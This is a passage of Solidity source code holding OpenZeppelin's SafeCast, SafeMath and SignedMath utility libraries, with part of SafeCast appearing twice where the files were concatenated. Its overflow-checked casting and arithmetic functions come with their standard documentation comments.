value <= type(uint112).max,
"SafeCast: value doesn't fit in 112 bits"
);
return uint112(value);
}
/**
* @dev Returns the downcasted uint104 from uint256, reverting on
* overflow (when the input is greater than largest uint104).
*
* Counterpart to Solidity's `uint104` operator.
*
* Requirements:
*
* - input must fit into 104 bits
*
* _Available since v4.7._
*/
function toUint104(uint256 value) internal pure returns (uint104) {
require(
value <= type(uint104).max,
"SafeCast: value doesn't fit in 104 bits"
);
return uint104(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*
* _Available since v4.2._
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(
value <= type(uint96).max,
"SafeCast: value doesn't fit in 96 bits"
);
return uint96(value);
}
/**
* @dev Returns the downcasted uint88 from uint256, reverting on
* overflow (when the input is greater than largest uint88).
*
* Counterpart to Solidity's `uint88` operator.
*
* Requirements:
*
* - input must fit into 88 bits
*
* _Available since v4.7._
*/
function toUint88(uint256 value) internal pure returns (uint88) {
require(
value <= type(uint88).max,
"SafeCast: value doesn't fit in 88 bits"
);
return uint88(value);
}
/**
* @dev Returns the downcasted uint80 from uint256, reverting on
* overflow (when the input is greater than largest uint80).
*
* Counterpart to Solidity's `uint80` operator.
*
* Requirements:
*
* - input must fit into 80 bits
*
* _Available since v4.7._
*/
function toUint80(uint256 value) internal pure returns (uint80) {
require(
value <= type(uint80).max,
"SafeCast: value doesn't fit in 80 bits"
);
return uint80(value);
}
/**
* @dev Returns the downcasted uint72 from uint256, reverting on
* overflow (when the input is greater than largest uint72).
*
* Counterpart to Solidity's `uint72` operator.
*
* Requirements:
*
* - input must fit into 72 bits
*
* _Available since v4.7._
*/
function toUint72(uint256 value) internal pure returns (uint72) {
require(
value <= type(uint72).max,
"SafeCast: value doesn't fit in 72 bits"
);
return uint72(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v2.5._
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(
value <= type(uint64).max,
"SafeCast: value doesn't fit in 64 bits"
);
return uint64(value);
}
/**
* @dev Returns the downcasted uint56 from uint256, reverting on
* overflow (when the input is greater than largest uint56).
*
* Counterpart to Solidity's `uint56` operator.
*
* Requirements:
*
* - input must fit into 56 bits
*
* _Available since v4.7._
*/
function toUint56(uint256 value) internal pure returns (uint56) {
require(
value <= type(uint56).max,
"SafeCast: value doesn't fit in 56 bits"
);
return uint56(value);
}
/**
* @dev Returns the downcasted uint48 from uint256, reverting on
* overflow (when the input is greater than largest uint48).
*
* Counterpart to Solidity's `uint48` operator.
*
* Requirements:
*
* - input must fit into 48 bits
*
* _Available since v4.7._
*/
function toUint48(uint256 value) internal pure returns (uint48) {
require(
value <= type(uint48).max,
"SafeCast: value doesn't fit in 48 bits"
);
return uint48(value);
}
/**
* @dev Returns the downcasted uint40 from uint256, reverting on
* overflow (when the input is greater than largest uint40).
*
* Counterpart to Solidity's `uint40` operator.
*
* Requirements:
*
* - input must fit into 40 bits
*
* _Available since v4.7._
*/
function toUint40(uint256 value) internal pure returns (uint40) {
require(
value <= type(uint40).max,
"SafeCast: value doesn't fit in 40 bits"
);
return uint40(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v2.5._
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(
value <= type(uint32).max,
"SafeCast: value doesn't fit in 32 bits"
);
return uint32(value);
}
/**
* @dev Returns the downcasted uint24 from uint256, reverting on
* overflow (when the input is greater than largest uint24).
*
* Counterpart to Solidity's `uint24` operator.
*
* Requirements:
*
* - input must fit into 24 bits
*
* _Available since v4.7._
*/
function toUint24(uint256 value) internal pure returns (uint24) {
require(
value <= type(uint24).max,
"SafeCast: value doesn't fit in 24 bits"
);
return uint24(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v2.5._
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(
value <= type(uint16).max,
"SafeCast: value doesn't fit in 16 bits"
);
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits
*
* _Available since v2.5._
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(
value <= type(uint8).max,
"SafeCast: value doesn't fit in 8 bits"
);
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*
* _Available since v3.0._
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int248 from int256, reverting on
* overflow (when the input is less than smallest int248 or
* greater than largest int248).
*
* Counterpart to Solidity's `int248` operator.
*
* Requirements:
*
* - input must fit into 248 bits
*
* _Available since v4.7._
*/
function toInt248(int256 value) internal pure returns (int248 downcasted) {
downcasted = int248(value);
require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
}
/**
* @dev Returns the downcasted int240 from int256, reverting on
* overflow (when the input is less than smallest int240 or
* greater than largest int240).
*
* Counterpart to Solidity's `int240` operator.
*
* Requirements:
*
* - input must fit into 240 bits
*
* _Available since v4.7._
*/
function toInt240(int256 value) internal pure returns (int240 downcasted) {
downcasted = int240(value);
require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
}
/**
* @dev Returns the downcasted int232 from int256, reverting on
* overflow (when the input is less than smallest int232 or
* greater than largest int232).
*
* Counterpart to Solidity's `int232` operator.
*
* Requirements:
*
* - input must fit into 232 bits
*
* _Available since v4.7._
*/
function toInt232(int256 value) internal pure returns (int232 downcasted) {
downcasted = int232(value);
require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
}
/**
* @dev Returns the downcasted int224 from int256, reverting on
* overflow (when the input is less than smallest int224 or
* greater than largest int224).
*
* Counterpart to Solidity's `int224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*
* _Available since v4.7._
*/
function toInt224(int256 value) internal pure returns (int224 downcasted) {
downcasted = int224(value);
require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
}
/**
* @dev Returns the downcasted int216 from int256, reverting on
* overflow (when the input is less than smallest int216 or
* greater than largest int216).
*
* Counterpart to Solidity's `int216` operator.
*
* Requirements:
*
* - input must fit into 216 bits
*
* _Available since v4.7._
*/
function toInt216(int256 value) internal pure returns (int216 downcasted) {
downcasted = int216(value);
require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
}
/**
* @dev Returns the downcasted int208 from int256, reverting on
* overflow (when the input is less than smallest int208 or
* greater than largest int208).
*
* Counterpart to Solidity's `int208` operator.
*
* Requirements:
*
* - input must fit into 208 bits
*
* _Available since v4.7._
*/
function toInt208(int256 value) internal pure returns (int208 downcasted) {
downcasted = int208(value);
require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
}
/**
* @dev Returns the downcasted int200 from int256, reverting on
* overflow (when the input is less than smallest int200 or
* greater than largest int200).
*
* Counterpart to Solidity's `int200` operator.
*
* Requirements:
*
* - input must fit into 200 bits
*
* _Available since v4.7._
*/
function toInt200(int256 value) internal pure returns (int200 downcasted) {
downcasted = int200(value);
require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
}
/**
* @dev Returns the downcasted int192 from int256, reverting on
* overflow (when the input is less than smallest int192 or
* greater than largest int192).
*
* Counterpart to Solidity's `int192` operator.
*
* Requirements:
*
* - input must fit into 192 bits
*
* _Available since v4.7._
*/
function toInt192(int256 value) internal pure returns (int192 downcasted) {
downcasted = int192(value);
require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
}
/**
* @dev Returns the downcasted int184 from int256, reverting on
* overflow (when the input is less than smallest int184 or
* greater than largest int184).
*
* Counterpart to Solidity's `int184` operator.
*
* Requirements:
*
* - input must fit into 184 bits
*
* _Available since v4.7._
*/
function toInt184(int256 value) internal pure returns (int184 downcasted) {
downcasted = int184(value);
require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
}
/**
* @dev Returns the downcasted int176 from int256, reverting on
* overflow (when the input is less than smallest int176 or
* greater than largest int176).
*
* Counterpart to Solidity's `int176` operator.
*
* Requirements:
*
* - input must fit into 176 bits
*
* _Available since v4.7._
*/
function toInt176(int256 value) internal pure returns (int176 downcasted) {
downcasted = int176(value);
require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
}
/**
* @dev Returns the downcasted int168 from int256, reverting on
* overflow (when the input is less than smallest int168 or
* greater than largest int168).
*
* Counterpart to Solidity's `int168` operator.
*
* Requirements:
*
* - input must fit into 168 bits
*
* _Available since v4.7._
*/
function toInt168(int256 value) internal pure returns (int168 downcasted) {
downcasted = int168(value);
require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
}
/**
* @dev Returns the downcasted int160 from int256, reverting on
* overflow (when the input is less than smallest int160 or
* greater than largest int160).
*
* Counterpart to Solidity's `int160` operator.
*
* Requirements:
*
* - input must fit into 160 bits
*
* _Available since v4.7._
*/
function toInt160(int256 value) internal pure returns (int160 downcasted) {
downcasted = int160(value);
require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
}
/**
* @dev Returns the downcasted int152 from int256, reverting on
* overflow (when the input is less than smallest int152 or
* greater than largest int152).
*
* Counterpart to Solidity's `int152` operator.
*
* Requirements:
*
* - input must fit into 152 bits
*
* _Available since v4.7._
*/
function toInt152(int256 value) internal pure returns (int152 downcasted) {
downcasted = int152(value);
require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
}
/**
* @dev Returns the downcasted int144 from int256, reverting on
* overflow (when the input is less than smallest int144 or
* greater than largest int144).
*
* Counterpart to Solidity's `int144` operator.
*
* Requirements:
*
* - input must fit into 144 bits
*
* _Available since v4.7._
*/
function toInt144(int256 value) internal pure returns (int144 downcasted) {
downcasted = int144(value);
require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
}
/**
* @dev Returns the downcasted int136 from int256, reverting on
* overflow (when the input is less than smallest int136 or
* greater than largest int136).
*
* Counterpart to Solidity's `int136` operator.
*
* Requirements:
*
* - input must fit into 136 bits
*
* _Available since v4.7._
*/
function toInt136(int256 value) internal pure returns (int136 downcasted) {
downcasted = int136(value);
require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128 downcasted) {
downcasted = int128(value);
require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
}
/**
* @dev Returns the downcasted int120 from int256, reverting on
* overflow (when the input is less than smallest int120 or
* greater than largest int120).
*
* Counterpart to Solidity's `int120` operator.
*
* Requirements:
*
* - input must fit into 120 bits
*
* _Available since v4.7._
*/
function toInt120(int256 value) internal pure returns (int120 downcasted) {
downcasted = int120(value);
require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
}
/**
* @dev Returns the downcasted int112 from int256, reverting on
* overflow (when the input is less than smallest int112 or
* greater than largest int112).
*
* Counterpart to Solidity's `int112` operator.
*
* Requirements:
*
* - input must fit into 112 bits
*
* _Available since v4.7._
*/
function toInt112(int256 value) internal pure returns (int112 downcasted) {
downcasted = int112(value);
require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
}
/**
* @dev Returns the downcasted int104 from int256, reverting on
* overflow (when the input is less than smallest int104 or
* greater than largest int104).
*
* Counterpart to Solidity's `int104` operator.
*
* Requirements:
*
* - input must fit into 104 bits
*
* _Available since v4.7._
*/
function toInt104(int256 value) internal pure returns (int104 downcasted) {
downcasted = int104(value);
require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
}
/**
* @dev Returns the downcasted int96 from int256, reverting on
* overflow (when the input is less than smallest int96 or
* greater than largest int96).
*
* Counterpart to Solidity's `int96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*
* _Available since v4.7._
*/
function toInt96(int256 value) internal pure returns (int96 downcasted) {
downcasted = int96(value);
require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
}
/**
* @dev Returns the downcasted int88 from int256, reverting on
* overflow (when the input is less than smallest int88 or
* greater than largest int88).
*
* Counterpart to Solidity's `int88` operator.
*
* Requirements:
*
* - input must fit into 88 bits
*
* _Available since v4.7._
*/
function toInt88(int256 value) internal pure returns (int88 downcasted) {
downcasted = int88(value);
require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
}
/**
* @dev Returns the downcasted int80 from int256, reverting on
* overflow (when the input is less than smallest int80 or
* greater than largest int80).
*
* Counterpart to Solidity's `int80` operator.
*
* Requirements:
*
* - input must fit into 80 bits
*
* _Available since v4.7._
*/
function toInt80(int256 value) internal pure returns (int80 downcasted) {
downcasted = int80(value);
require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
}
/**
* @dev Returns the downcasted int72 from int256, reverting on
* overflow (when the input is less than smallest int72 or
* greater than largest int72).
*
* Counterpart to Solidity's `int72` operator.
*
* Requirements:
*
* - input must fit into 72 bits
*
* _Available since v4.7._
*/
function toInt72(int256 value) internal pure returns (int72 downcasted) {
downcasted = int72(value);
require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64 downcasted) {
downcasted = int64(value);
require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
}
/**
* @dev Returns the downcasted int56 from int256, reverting on
* overflow (when the input is less than smallest int56 or
* greater than largest int56).
*
* Counterpart to Solidity's `int56` operator.
*
* Requirements:
*
* - input must fit into 56 bits
*
* _Available since v4.7._
*/
function toInt56(int256 value) internal pure returns (int56 downcasted) {
downcasted = int56(value);
require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
}
/**
* @dev Returns the downcasted int48 from int256, reverting on
* overflow (when the input is less than smallest int48 or
* greater than largest int48).
*
* Counterpart to Solidity's `int48` operator.
*
* Requirements:
*
* - input must fit into 48 bits
*
* _Available since v4.7._
*/
function toInt48(int256 value) internal pure returns (int48 downcasted) {
downcasted = int48(value);
require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
}
/**
* @dev Returns the downcasted int40 from int256, reverting on
* overflow (when the input is less than smallest int40 or
* greater than largest int40).
*
* Counterpart to Solidity's `int40` operator.
*
* Requirements:
*
* - input must fit into 40 bits
*
* _Available since v4.7._
*/
function toInt40(int256 value) internal pure returns (int40 downcasted) {
downcasted = int40(value);
require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32 downcasted) {
downcasted = int32(value);
require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
}
/**
* @dev Returns the downcasted int24 from int256, reverting on
* overflow (when the input is less than smallest int24 or
* greater than largest int24).
*
* Counterpart to Solidity's `int24` operator.
*
* Requirements:
*
* - input must fit into 24 bits
*
* _Available since v4.7._
*/
function toInt24(int256 value) internal pure returns (int24 downcasted) {
downcasted = int24(value);
require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16 downcasted) {
downcasted = int16(value);
require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8 downcasted) {
downcasted = int8(value);
require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*
* _Available since v3.0._
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(
value <= uint256(type(int256).max),
"SafeCast: value doesn't fit in an int256"
);
return int256(value);
}
}library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard signed math utilities missing in the Solidity language.
*/
library SignedMath {
/**
* @dev Returns the largest of two signed numbers.
*/
function max(int256 a, int256 b) internal pure returns (int256) {
return a > b ? a : b;
}
/**
* @dev Returns the smallest of two signed numbers.
*/
function min(int256 a, int256 b) internal pure returns (int256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two signed numbers without overflow.
* The result is rounded towards zero.
*/
function average(int256 a, int256 b) internal pure returns (int256) {
// Formula from the book "Hacker's Delight"
int256 x = (a & b) + ((a ^ b) >> 1);
return x + (int256(uint256(x) >> 255) & (a ^ b));
}
/**
* @dev Returns the absolute unsigned value of a signed value.
*/
function abs(int256 n) internal pure returns (uint256) {
unchecked {
// must be unchecked in order to support `n = type(int256).min`
return uint256(n >= 0 ? n : -n);
}
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)
// This file was procedurally generated from scripts/generate/templates/SafeCast.js.
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint248 from uint256, reverting on
* overflow (when the input is greater than largest uint248).
*
* Counterpart to Solidity's `uint248` operator.
*
* Requirements:
*
* - input must fit into 248 bits
*
* _Available since v4.7._
*/
function toUint248(uint256 value) internal pure returns (uint248) {
require(
value <= type(uint248).max,
"SafeCast: value doesn't fit in 248 bits"
);
return uint248(value);
}
/**
* @dev Returns the downcasted uint240 from uint256, reverting on
* overflow (when the input is greater than largest uint240).
*
* Counterpart to Solidity's `uint240` operator.
*
* Requirements:
*
* - input must fit into 240 bits
*
* _Available since v4.7._
*/
function toUint240(uint256 value) internal pure returns (uint240) {
require(
value <= type(uint240).max,
"SafeCast: value doesn't fit in 240 bits"
);
return uint240(value);
}
/**
* @dev Returns the downcasted uint232 from uint256, reverting on
* overflow (when the input is greater than largest uint232).
*
* Counterpart to Solidity's `uint232` operator.
*
* Requirements:
*
* - input must fit into 232 bits
*
* _Available since v4.7._
*/
function toUint232(uint256 value) internal pure returns (uint232) {
require(
value <= type(uint232).max,
"SafeCast: value doesn't fit in 232 bits"
);
return uint232(value);
}
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*
* _Available since v4.2._
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(
value <= type(uint224).max,
"SafeCast: value doesn't fit in 224 bits"
);
return uint224(value);
}
/**
* @dev Returns the downcasted uint216 from uint256, reverting on
* overflow (when the input is greater than largest uint216).
*
* Counterpart to Solidity's `uint216` operator.
*
* Requirements:
*
* - input must fit into 216 bits
*
* _Available since v4.7._
*/
function toUint216(uint256 value) internal pure returns (uint216) {
require(
value <= type(uint216).max,
"SafeCast: value doesn't fit in 216 bits"
);
return uint216(value);
}
/**
* @dev Returns the downcasted uint208 from uint256, reverting on
* overflow (when the input is greater than largest uint208).
*
* Counterpart to Solidity's `uint208` operator.
*
* Requirements:
*
* - input must fit into 208 bits
*
* _Available since v4.7._
*/
function toUint208(uint256 value) internal pure returns (uint208) {
require(
value <= type(uint208).max,
"SafeCast: value doesn't fit in 208 bits"
);
return uint208(value);
}
/**
* @dev Returns the downcasted uint200 from uint256, reverting on
* overflow (when the input is greater than largest uint200).
*
* Counterpart to Solidity's `uint200` operator.
*
* Requirements:
*
* - input must fit into 200 bits
*
* _Available since v4.7._
*/
function toUint200(uint256 value) internal pure returns (uint200) {
require(
value <= type(uint200).max,
"SafeCast: value doesn't fit in 200 bits"
);
return uint200(value);
}
/**
* @dev Returns the downcasted uint192 from uint256, reverting on
* overflow (when the input is greater than largest uint192).
*
* Counterpart to Solidity's `uint192` operator.
*
* Requirements:
*
* - input must fit into 192 bits
*
* _Available since v4.7._
*/
function toUint192(uint256 value) internal pure returns (uint192) {
require(
value <= type(uint192).max,
"SafeCast: value doesn't fit in 192 bits"
);
return uint192(value);
}
/**
* @dev Returns the downcasted uint184 from uint256, reverting on
* overflow (when the input is greater than largest uint184).
*
* Counterpart to Solidity's `uint184` operator.
*
* Requirements:
*
* - input must fit into 184 bits
*
* _Available since v4.7._
*/
function toUint184(uint256 value) internal pure returns (uint184) {
require(
value <= type(uint184).max,
"SafeCast: value doesn't fit in 184 bits"
);
return uint184(value);
}
/**
* @dev Returns the downcasted uint176 from uint256, reverting on
* overflow (when the input is greater than largest uint176).
*
* Counterpart to Solidity's `uint176` operator.
*
* Requirements:
*
* - input must fit into 176 bits
*
* _Available since v4.7._
*/
function toUint176(uint256 value) internal pure returns (uint176) {
require(
value <= type(uint176).max,
"SafeCast: value doesn't fit in 176 bits"
);
return uint176(value);
}
/**
* @dev Returns the downcasted uint168 from uint256, reverting on
* overflow (when the input is greater than largest uint168).
*
* Counterpart to Solidity's `uint168` operator.
*
* Requirements:
*
* - input must fit into 168 bits
*
* _Available since v4.7._
*/
function toUint168(uint256 value) internal pure returns (uint168) {
require(
value <= type(uint168).max,
"SafeCast: value doesn't fit in 168 bits"
);
return uint168(value);
}
/**
* @dev Returns the downcasted uint160 from uint256, reverting on
* overflow (when the input is greater than largest uint160).
*
* Counterpart to Solidity's `uint160` operator.
*
* Requirements:
*
* - input must fit into 160 bits
*
* _Available since v4.7._
*/
function toUint160(uint256 value) internal pure returns (uint160) {
require(
value <= type(uint160).max,
"SafeCast: value doesn't fit in 160 bits"
);
return uint160(value);
}
/**
* @dev Returns the downcasted uint152 from uint256, reverting on
* overflow (when the input is greater than largest uint152).
*
* Counterpart to Solidity's `uint152` operator.
*
* Requirements:
*
* - input must fit into 152 bits
*
* _Available since v4.7._
*/
function toUint152(uint256 value) internal pure returns (uint152) {
require(
value <= type(uint152).max,
"SafeCast: value doesn't fit in 152 bits"
);
return uint152(value);
}
/**
* @dev Returns the downcasted uint144 from uint256, reverting on
* overflow (when the input is greater than largest uint144).
*
* Counterpart to Solidity's `uint144` operator.
*
* Requirements:
*
* - input must fit into 144 bits
*
* _Available since v4.7._
*/
function toUint144(uint256 value) internal pure returns (uint144) {
require(
value <= type(uint144).max,
"SafeCast: value doesn't fit in 144 bits"
);
return uint144(value);
}
/**
* @dev Returns the downcasted uint136 from uint256, reverting on
* overflow (when the input is greater than largest uint136).
*
* Counterpart to Solidity's `uint136` operator.
*
* Requirements:
*
* - input must fit into 136 bits
*
* _Available since v4.7._
*/
function toUint136(uint256 value) internal pure returns (uint136) {
require(
value <= type(uint136).max,
"SafeCast: value doesn't fit in 136 bits"
);
return uint136(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v2.5._
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(
value <= type(uint128).max,
"SafeCast: value doesn't fit in 128 bits"
);
return uint128(value);
}
/**
* @dev Returns the downcasted uint120 from uint256, reverting on
* overflow (when the input is greater than largest uint120).
*
* Counterpart to Solidity's `uint120` operator.
*
* Requirements:
*
* - input must fit into 120 bits
*
* _Available since v4.7._
*/
function toUint120(uint256 value) internal pure returns (uint120) {
require(
value <= type(uint120).max,
"SafeCast: value doesn't fit in 120 bits"
);
return uint120(value);
}
/**
* @dev Returns the downcasted uint112 from uint256, reverting on
* overflow (when the input is greater than largest uint112).
*
* Counterpart to Solidity's `uint112` operator.
*
* Requirements:
*
* - input must fit into 112 bits
*
* _Available since v4.7._
*/
function toUint112(uint256 value) internal pure returns (uint112) {
require(
value <= type(uint112).max,
"SafeCast: value doesn't fit in 112 bits"
);
return uint112(value);
}
/**
